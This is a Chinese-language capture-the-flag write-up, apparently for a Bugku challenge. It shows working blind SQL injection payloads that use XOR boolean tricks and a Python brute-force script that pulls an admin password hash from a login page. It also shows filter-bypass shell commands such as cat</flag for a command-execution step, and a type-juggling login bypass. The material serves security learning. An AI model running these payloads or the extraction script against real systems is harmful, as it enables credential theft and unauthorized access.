0x00 方法一

输入admin,密码随便填,得到:password error!!@_@

输入admin',密码随便填,得到:username error!!@_@

输入admin'^'1'^'1,密码随便填,得到:password error!!@_@

输入admin'^'0'^'1,密码随便填,得到:username error!!@_@

搂一遍可用的字符串/函数,经测试asciisubstr括号select下划线=这些都可以用。此外,过滤了逗号for*ordor+unioninformation等。

写脚本,判断第一位的ascii:

admin'^(ascii(substr(database()from(1)))>13)^'1

回显password error!!@_@,说明库名的第一个字符的ascii大于13

admin'^(ascii(substr(database()from(1)))>13)^'1

回显username error!!@_@,说明库名的第一个字符的ascii小于123

同理,写脚本拿到密码的md5值:

import requests

url='http://114.67.246.176:15783/login.php'

flag=""
for j in range(1,50):
    for i in range(32,128):
            payload = "admin'^(ascii(substr((select(passwd)from(admin))from("+str(j)+")))="+str(i)+")^'1"
            data = {
                "uname": payload,
                "passwd": "123"
            }
            test = requests.post(url=url,data=data).text
            if 'password' in test:
                flag += chr(i)
                print(flag)
                break

把得到的内容用somd5进行解密,得到bugkuctf,成功登入。

来到了命令执行页面,可以使用{cmd,arg}的方式查看根目录,我这里在本地试了下:

还可以把空格+flag注册成变量去执行:

或者最简单的= =,,cat</flag

0x01 方法二

题目给了提示,在/images目录下有这样一张图:

根据图片可知,''=0即空字符串和0进行比较,字符串在比较时转化为0,返回真。

因为还要闭合后面的引号,所以构造'=0-'即''=0-''

输入'=0-',密码随便填,得到:password error!!@_@

输入'=1-',密码随便填,得到:username error!!@_@

剩下同上。

⚪参考:https://blog.csdn.net/qq_41209264/article/details/112257878